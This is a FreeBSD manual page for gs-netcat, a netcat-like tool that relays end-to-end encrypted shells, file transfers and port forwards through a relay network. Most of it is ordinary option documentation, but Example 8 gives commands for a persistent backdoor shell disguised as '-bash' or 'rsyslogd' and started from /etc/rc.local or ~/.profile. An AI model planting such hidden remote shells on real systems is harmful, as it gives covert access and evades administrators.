Skip site navigation (1)Skip section navigation (2)

FreeBSD Manual Pages


home | help
GS-NETCAT(1)		FreeBSD	General	Commands Manual		  GS-NETCAT(1)

     gs-netcat -- transfer data, forward traffic and execute commands on a re-
     mote host.	Securely.

     gs-netcat [-rlgqwCTSDi] [-s secret] [-k keyfile] [-L logfile] [-d IP]
	       [-p port] [-e cmd]

     The gs-netcat utility is a	re-implementation of netcat. It	allows two or
     more users	to establish a secure TCP connection with each other in	a sce-
     nario where all users are behind NAT/Firewall and would not be able to
     connect to	each other directly. Typically a connection between one	work-
     station and another workstation on	a different Local Area Network.

     It	uses the Global	Socket Relay Network (GSRN) instead of direct TCP con-
     nections. Neither workstation needs to open a port	in their firewall or
     accept incoming TCP connections.

     The connection is end-2-end encrypted using SRP (RFC 5054)	with AES-256
     and a 4096	Prime. The GSRN	sees only the encrypted	traffic.

     Common uses include:

	   +o   simple TCP proxies
	   +o   PTY shell
	   +o   File transfer
	   +o   a SOCKS ProxyCommand for	ssh(1)
	   +o   and much, much more.

     -s	secret
	     A password	chosen by the user. Both users need to use the same
	     password to connect.

     -k	file
	     A file containing the password.

     -g	     Generate a	secure random password and output it to	standard out-

     -l	     Server mode. The default mode is client.

     -q	     Quite mode. Do not	output any warnings or errors.

     -w	     Client to wait for	the listening server to	become available.

     -r	     Receive-only. Do not send any data. Terminate when	no more	data
	     is	available for reading.

     -C	     Disable encryption	and use	clear-text instead. Use	with caution.

     -T	     Use TOR. The gs-netcat tool will connect via TOR to the GSRN.
	     This requires TOR to be installed and running. The	IP and PORT of
	     the TOR server can	be set using environment variables.

     -S	     Server. Act as a Socks4/4a/5 server. Needs	-l. The	server acts as
	     a Socks4/4a/5 proxy. It allows multiple gs-netcat clients to (se-
	     curely) relay traffic via the server.

     -D	     Server. Daemon & Watchdog mode.  gs-netcat	will run as a back-
	     ground process and	restart	itself if killed.

     -e	cmd  Server. Execute command and send output to	the connected client.

     -d	ip   IPv4 address for port forwarding.

     -p	port
	     TCP port to listen	on or to forward traffic to.

     -i	     Interactive login shell. The server spawns	a true PTY login
	     shell. The	client acts as a true PTY client (with Ctrl-C etc
	     working). The client can terminate	the session by typing '~.' at
	     any time or by typing 'exit'. The server supports multiple
	     clients at	the same time.

     port can be a numerical value between 1-65535.

     Example 1 - Listen	for a new connection using the password	'MySecret':
	   $ gs-netcat -s MySecret -l

     Connect with client using the same	password:
	   $ gs-netcat -s MySecret

     Example 2 - spawn a PTY login shell when a	client connects:
	   $ gs-netcat -s MySecret -l -i

     Log in to server's	interactive shell:
	   $ gs-netcat -s MySecret -i

     Example 3 - Execute a command when	a client connects:
	   $ gs-netcat -s MySecret -l -e 'echo hello world; id;	exit'

     Connect client to the server:
	   $ gs-netcat -s MySecret

     Example 4 - Pipe data from	client to server:
	   $ gs-netcat -s MySecret -l -r >warez.tar.gz

     Client to read 'warez.tar.gz' and pipe it to the server.
	   $ gs-netcat -s MySecret <warez.tar.gz

     Example 5 - Server	to act as a Socks4/4a/5	server:
	   $ gs-netcat -s MySecret -l -S

     Client to listen on TCP port 1080 and forward any new connection to the
     server's Socks server:
	   $ gs-netcat -s MySecret -p 1080

     Example 6 - TCP Port Forward all connections to Server:
	   $ gs-netcat -s MySecret -l -d -p	22

     Client to listen on TCP port 2222 and forward any new connection to the
     the server. The server then forwards the connection to
	   $ gs-netcat -s MySecret -p 2222
	   $ ssh -p 2222 root@

     The same using 1 command:
	   $ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored

     Example 7 - Creating an SFTP server using gs-netcat:
	   $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server

     The sftp-server binary speaks the sftp-protocol to	stdin/stdout. The sftp
     binary also speaks	sftp-protocol to stdin/stdout. The tool	can be used to
     connect both via GSRN (encrypted) and access the SFTP server running on
     the server's side from the	client via the GSRN (encrypted).:
	   $ export GSOCKET_ARGS='-s MySecret'
	   $ sftp -D gs-netcat

     Example 8 - Encrypted Reverse PTY shell hidden as '-bash' in the process
     list - also known as 'backdoor':
	   $ (GSOCKET_ARGS="-s MySecret	-liqD" exec -a -bash gs-netcat)

     The following line	in /etc/rc.local starts	the backdoor after each	system
	   GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color
	   SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd

     The follwing line in /etc/rc.local	starts a port-forward to
	   GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec
	   -a rsyslogd /usr/local/bin/gs-netcat"

     The following line	in the user's ~/.profile starts	the backdoor (once)
     when the user logs	in. All	in one line:
	   killall -0 gs-netcat	2>/dev/null || (GSOCKET_ARGS="-s MySecret3
	   -liqD" SHELL=/bin/bash exec -a -bash	/usr/local/bin/gs-netcat)

     The '(...)' brackets start	a sub-shell which is then replaced (by exec)
     with the gs-netcat	process. The process is	hidden (as -bash) from the
     process list.

     Client to connect to the backdoor:
	   $ gs-netcat -s MySecret -i

     The following environment variables can be	set to control the behavior of

	   Specify the IP address of the TOR server (or	any other SOCKS
	   server). Default is

	   The port number of the TOR server (or any other SOCKS server).
	   Default is 9050.

	   A string containing additional command line parameters. First the
	   normal command line parameters are processed	and then the command
	   line	parameters from	GSOCKET_ARGS.

     Passing the password as command line parameter is not secure. Consider
     using the -k option or GSOCKET_ARGS or enter the password when prompted:

	   $ gs-netcat -k <file>

	   $ export GSOCKET_ARGS="-s MySecret"
	   $ gs-netcat

     1.	The security is	end-2-end. This	means from User-2-User (and not	just
     to	the GSRN). The GSRN relays only	(encrypted) data to and	from the

     2.	The session is 256 bit and ephemeral. It is freshly generated for ev-
     ery session and generated randomly	(and is	not based on the password). It
     uses OpenSSL's SRP	with AES-256 and a 4096	Prime.

     3.	The password can be 'weak' without weakening the security of the ses-
     sion. A brute force attack	against	a weak password	requires a new TCP
     connection	for every guess.

     4.	Do not use stupid passwords like 'password123'.	Malice might pick the
     same (stupid) password by chance and connect. If in doubt use gs-netcat
     -g	to generate a strong one. Alice's and Bob's password should at least
     be	strong enough so that Malice can not guess it by chance	while Alice is
     waiting for Bob to	connect.

     5.	If Alice shares	the same password with Bob and Charlie and either one
     of	them connects then Alice can not tell if it is Bob or Charlie who con-

     6.	Assume Alice shares the	same password with Bob and Malice. When	Alice
     stops listening for a connection then Malice could	start to listen	for
     the connection instead. Bob (when opening a new connection) can not tell
     if	he is connecting to Alice or to	Malice.	Use -a <token> if you worry
     about this. TL;DR:	When sharing the same password with a group larger
     than 2 then it is assumed that everyone in	that group plays nicely. Oth-
     erwise use	SSH over the GS/TLS connection.

     7.	SRP has	Perfect	Forward	Secrecy. This means that past sessions can not
     be	decrypted even if the password becomes known.

     The latest	version	is available from

     gs-sftp(1), gs-mount(1), blitz(1),	nc(1), socat(1)

     Efforts have been made to have gs-netcat "do the right thing" in all its
     various modes. If you believe that	it is doing the	wrong thing under
     whatever circumstances, please notify me ( and tell	me how
     you think it should behave.

FreeBSD	13.0		       October 08, 2020			  FreeBSD 13.0


Want to link to this manual page? Use this URL:

home | help